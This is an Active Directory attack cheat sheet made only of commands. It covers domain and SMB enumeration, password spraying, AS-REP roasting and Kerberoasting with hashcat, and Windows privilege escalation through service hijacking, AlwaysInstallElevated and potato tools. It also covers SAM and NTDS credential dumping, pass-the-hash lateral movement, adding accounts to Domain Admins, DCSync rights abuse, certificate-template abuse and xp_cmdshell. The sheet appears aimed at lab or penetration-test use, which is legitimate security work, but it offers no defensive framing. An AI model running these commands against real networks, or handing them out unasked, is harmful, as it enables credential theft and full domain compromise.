DC_IP=10.10.10.10
TARGET=10.10.10.20
DOMAIN=corp.local
USER=user
PASS='Password123!'
HASH='aad3b435b51404eeaad3b435b51404ee:NTLM_HASH'

nmap -sn 10.10.10.0/24

nmap -Pn -sC -sV -p53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,5986 $DC_IP

nmap -Pn -p- --open -T4 -oA full-tcp $TARGET

nmap -p445 --script smb-os-discovery $TARGET

nmblookup -A $TARGET

ldapsearch -x -H ldap://$DC_IP -s base namingcontexts

dig @$DC_IP _ldap._tcp.dc._msdcs.$DOMAIN SRV

dig @$DC_IP _kerberos._tcp.$DOMAIN SRV

smbclient -L //$TARGET -N

smbclient -L //$TARGET -U "$DOMAIN/$USER%$PASS"

smbclient //$TARGET/SHARE -U "$DOMAIN/$USER%$PASS"

smbclient //$TARGET/SHARE -U "$DOMAIN/$USER%$PASS" -c 'recurse ON; prompt OFF; mget *'

nxc smb $TARGET

nxc smb $TARGET -u $USER -p "$PASS"

nxc smb $TARGET -u $USER -p "$PASS" --shares

nxc smb $TARGET -u $USER -p "$PASS" --loggedon-users

nxc smb $DC_IP -u $USER -p "$PASS" --users

nxc smb $DC_IP -u $USER -p "$PASS" --groups

nxc smb $DC_IP -u $USER -p "$PASS" --computers

nxc smb 10.10.10.0/24 --gen-relay-list relay.txt

rpcclient -U "" -N $DC_IP

rpcclient -U "$DOMAIN/$USER%$PASS" $DC_IP

enumdomusers

enumdomgroups

queryuser USER_RID

querygroupmem GROUP_RID

getdompwinfo

ldapsearch -x -H ldap://$DC_IP -b "DC=corp,DC=local"

ldapsearch -x -H ldap://$DC_IP \
-D "$USER@$DOMAIN" \
-w "$PASS" \
-b "DC=corp,DC=local"

ldapsearch -x -H ldap://$DC_IP \
-D "$USER@$DOMAIN" \
-w "$PASS" \
-b "DC=corp,DC=local" \
"(objectClass=user)" sAMAccountName

ldapsearch -x -H ldap://$DC_IP \
-D "$USER@$DOMAIN" \
-w "$PASS" \
-b "DC=corp,DC=local" \
"(objectClass=group)" cn member

ldapsearch -x -H ldap://$DC_IP \
-D "$USER@$DOMAIN" \
-w "$PASS" \
-b "DC=corp,DC=local" \
"(&(objectClass=user)(servicePrincipalName=*))" \
sAMAccountName servicePrincipalName

kerbrute userenum \
-d $DOMAIN \
--dc $DC_IP \
users.txt

nxc smb $DC_IP -u '' -p '' --rid-brute

enum4linux-ng -A $DC_IP

nxc smb $DC_IP -u $USER -p "$PASS" --pass-pol

rpcclient -U "$DOMAIN/$USER%$PASS" $DC_IP -c getdompwinfo

kerbrute passwordspray \
-d $DOMAIN \
--dc $DC_IP \
users.txt "$PASS"

nxc smb $DC_IP -u users.txt -p "$PASS" --continue-on-success

impacket-GetNPUsers \
"$DOMAIN/" \
-dc-ip $DC_IP \
-usersfile users.txt \
-no-pass \
-format hashcat \
-outputfile asrep.txt

impacket-GetNPUsers \
"$DOMAIN/$USER:$PASS" \
-dc-ip $DC_IP \
-request

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

impacket-GetUserSPNs \
"$DOMAIN/$USER:$PASS" \
-dc-ip $DC_IP \
-request \
-outputfile kerberoast.txt

impacket-GetUserSPNs \
"$DOMAIN/$USER" \
-hashes "$HASH" \
-dc-ip $DC_IP \
-request

hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt

bloodhound-python \
-u $USER \
-p "$PASS" \
-d $DOMAIN \
-ns $DC_IP \
-c All

bloodhound-python \
-u $USER \
-p "$PASS" \
-d $DOMAIN \
-dc dc01.$DOMAIN \
-ns $DC_IP \
-c All

.\SharpHound.exe -c All

.\SharpHound.exe -c All --zipfilename bloodhound.zip

Import-Module .\PowerView.ps1

Get-Domain

Get-DomainUser

Get-DomainGroup

Get-DomainComputer

Get-DomainController

Get-DomainGroupMember "Domain Admins"

Get-DomainGroup -MemberIdentity USER

Find-LocalAdminAccess

Find-DomainUserLocation

Find-InterestingDomainAcl

Get-DomainObjectAcl -Identity USER -ResolveGUIDs

whoami

whoami /priv

whoami /groups

net user

net localgroup

net localgroup administrators

systeminfo

hostname

ipconfig /all

route print

arp -a

tasklist /v

sc query

schtasks /query /fo LIST /v

Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*

set

winPEASx64.exe

winPEASx64.exe > winpeas.txt

Import-Module .\PowerUp.ps1

Invoke-AllChecks

Get-ModifiableServiceFile

Get-UnquotedService

Get-RegistryAlwaysInstallElevated

sc qc SERVICE_NAME

accesschk.exe /accepteula -uwcqv USER SERVICE_NAME

accesschk.exe /accepteula -quvw "C:\Path\service.exe"

sc config SERVICE_NAME binPath= "C:\Temp\payload.exe"

sc stop SERVICE_NAME

sc start SERVICE_NAME

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\"

icacls "C:\Program Files\Vulnerable App"

reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

msiexec /quiet /qn /i payload.msi

schtasks /query /fo LIST /v

icacls "C:\Path\task.exe"

copy payload.exe "C:\Path\task.exe"

cmdkey /list

runas /savecred /user:DOMAIN\USER cmd.exe

findstr /si password *.txt *.xml *.ini *.config

Get-Content (Get-PSReadLineOption).HistorySavePath

dir /s /b C:\Unattend.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml

reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"

whoami /priv

whoami /priv | findstr SeImpersonate

PrintSpoofer64.exe -i -c cmd

GodPotato.exe -cmd "cmd /c whoami"

reg save HKLM\SAM C:\Temp\SAM

reg save HKLM\SYSTEM C:\Temp\SYSTEM

reg save HKLM\SECURITY C:\Temp\SECURITY

impacket-secretsdump \
-sam SAM \
-system SYSTEM \
-security SECURITY \
LOCAL

impacket-secretsdump \
"$DOMAIN/$USER:$PASS@$TARGET"

impacket-secretsdump \
-hashes "$HASH" \
"$DOMAIN/$USER@$TARGET"

nxc smb $TARGET -u $USER -H NTLM_HASH

evil-winrm -i $TARGET -u $USER -H NTLM_HASH

impacket-psexec \
-hashes "$HASH" \
"$DOMAIN/$USER@$TARGET"

impacket-wmiexec \
-hashes "$HASH" \
"$DOMAIN/$USER@$TARGET"

impacket-smbexec \
-hashes "$HASH" \
"$DOMAIN/$USER@$TARGET"

evil-winrm -i $TARGET -u $USER -p "$PASS"

evil-winrm -i $TARGET -u $USER -H NTLM_HASH

upload file.exe

download file.txt

impacket-psexec \
"$DOMAIN/$USER:$PASS@$TARGET"

impacket-wmiexec \
"$DOMAIN/$USER:$PASS@$TARGET"

impacket-smbexec \
"$DOMAIN/$USER:$PASS@$TARGET"

impacket-atexec \
"$DOMAIN/$USER:$PASS@$TARGET" \
"whoami"

xfreerdp /v:$TARGET /u:$USER /p:"$PASS" /d:$DOMAIN /cert:ignore

xfreerdp /v:$TARGET /u:$USER /pth:NTLM_HASH /d:$DOMAIN /cert:ignore

net localgroup administrators USER /add

net group "Domain Admins" USER /add /domain

Add-DomainGroupMember -Identity "GROUP" -Members "USER"

net rpc password TARGET_USER 'NewPassword123!' \
-U "$DOMAIN/$USER%$PASS" \
-S $DC_IP

$SecPassword = ConvertTo-SecureString 'NewPassword123!' -AsPlainText -Force

Set-DomainUserPassword -Identity TARGET_USER -AccountPassword $SecPassword

Add-DomainGroupMember -Identity "GROUP" -Members "USER"

net rpc password TARGET_USER 'NewPassword123!' \
-U "$DOMAIN/$USER%$PASS" \
-S $DC_IP

impacket-dacledit \
-action write \
-rights DCSync \
-principal $USER \
-target-dn "DC=corp,DC=local" \
"$DOMAIN/$USER:$PASS"

impacket-dacledit \
-action restore \
-file dacledit-*.bak \
"$DOMAIN/$USER:$PASS"

impacket-owneredit \
-action write \
-new-owner $USER \
-target TARGET_USER \
"$DOMAIN/$USER:$PASS"

impacket-secretsdump \
-just-dc \
"$DOMAIN/$USER:$PASS@$DC_IP"

impacket-secretsdump \
-just-dc-ntlm \
"$DOMAIN/$USER:$PASS@$DC_IP"

impacket-secretsdump \
-just-dc-user Administrator \
"$DOMAIN/$USER:$PASS@$DC_IP"

ntdsutil "ac i ntds" "ifm" "create full C:\Temp\ntds" q q

impacket-secretsdump \
-ntds ntds.dit \
-system SYSTEM \
LOCAL

certipy find \
-u "$USER@$DOMAIN" \
-p "$PASS" \
-dc-ip $DC_IP

certipy find \
-u "$USER@$DOMAIN" \
-p "$PASS" \
-dc-ip $DC_IP \
-vulnerable

certipy find \
-u "$USER@$DOMAIN" \
-p "$PASS" \
-dc-ip $DC_IP \
-old-bloodhound

certipy req \
-u "$USER@$DOMAIN" \
-p "$PASS" \
-ca CA_NAME \
-template TEMPLATE_NAME \
-upn administrator@$DOMAIN \
-dc-ip $DC_IP

certipy auth \
-pfx administrator.pfx \
-dc-ip $DC_IP

certipy shadow auto \
-u "$USER@$DOMAIN" \
-p "$PASS" \
-account TARGET_USER \
-dc-ip $DC_IP

smbclient //$DC_IP/SYSVOL \
-U "$DOMAIN/$USER%$PASS"

grep -R "cpassword" .

gpp-decrypt CPASSWORD_VALUE

smbclient //$DC_IP/SYSVOL \
-U "$DOMAIN/$USER%$PASS"

smbclient //$DC_IP/SYSVOL \
-U "$DOMAIN/$USER%$PASS" \
-c 'recurse ON; prompt OFF; mget *'

grep -RniE "password|passwd|pwd|secret|credential" .

nxc ldap $DC_IP \
-u $USER \
-p "$PASS" \
-M laps

ldapsearch -x -H ldap://$DC_IP \
-D "$USER@$DOMAIN" \
-w "$PASS" \
-b "DC=corp,DC=local" \
"(ms-MCS-AdmPwd=*)" \
ms-MCS-AdmPwd

nxc mssql $TARGET -u $USER -p "$PASS"

impacket-mssqlclient \
"$DOMAIN/$USER:$PASS@$TARGET" \
-windows-auth

enable_xp_cmdshell

xp_cmdshell whoami

ipconfig /all

route print

Test-NetConnection 10.10.20.10 -Port 445

1..1024 | % {
  Test-NetConnection 10.10.20.10 -Port $_ -WarningAction SilentlyContinue
}

net user /domain

net group /domain

net group "Domain Admins" /domain

net user USER /domain

nltest /dclist:DOMAIN

nltest /dsgetdc:DOMAIN

nltest /domain_trusts

Get-DomainTrust

Get-ForestTrust

nxc ldap $DC_IP -u $USER -p "$PASS" --trusted-for-delegation

impacket-findDelegation \
"$DOMAIN/$USER:$PASS" \
-dc-ip $DC_IP

Get-DomainComputer -Unconstrained

Get-DomainUser -TrustedToAuth

Get-DomainComputer -TrustedToAuth

export KRB5CCNAME=ticket.ccache

klist

impacket-wmiexec \
-k \
-no-pass \
"$DOMAIN/$USER@$TARGET"

nmap -Pn -sC -sV -p53,88,135,139,389,445,464,636,3268,3389,5985 $DC_IP

nxc smb $DC_IP

smbclient -L //$DC_IP -N

kerbrute userenum -d $DOMAIN --dc $DC_IP users.txt

impacket-GetNPUsers "$DOMAIN/" \
-dc-ip $DC_IP \
-usersfile users.txt \
-no-pass \
-format hashcat

nxc smb $DC_IP -u users.txt -p passwords.txt --continue-on-success

impacket-GetUserSPNs "$DOMAIN/$USER:$PASS" \
-dc-ip $DC_IP \
-request

bloodhound-python \
-u $USER \
-p "$PASS" \
-d $DOMAIN \
-ns $DC_IP \
-c All

nxc smb 10.10.10.0/24 -u $USER -p "$PASS"

evil-winrm -i $TARGET -u $USER -p "$PASS"

whoami /priv

winPEASx64.exe

Invoke-AllChecks

impacket-secretsdump "$DOMAIN/$USER:$PASS@$TARGET"

nxc smb 10.10.10.0/24 -u users.txt -H hashes.txt --continue-on-success

nxc smb $DC_IP

smbclient -L //$DC_IP -N

kerbrute userenum -d $DOMAIN --dc $DC_IP users.txt

impacket-GetNPUsers "$DOMAIN/" -dc-ip $DC_IP -usersfile users.txt -no-pass

impacket-GetUserSPNs "$DOMAIN/$USER:$PASS" -dc-ip $DC_IP -request

bloodhound-python -u $USER -p "$PASS" -d $DOMAIN -ns $DC_IP -c All

evil-winrm -i $TARGET -u $USER -p "$PASS"

whoami /priv

winPEASx64.exe

impacket-secretsdump "$DOMAIN/$USER:$PASS@$TARGET"

impacket-psexec "$DOMAIN/$USER:$PASS@$TARGET"

nxc smb 10.10.10.0/24 -u $USER -p "$PASS"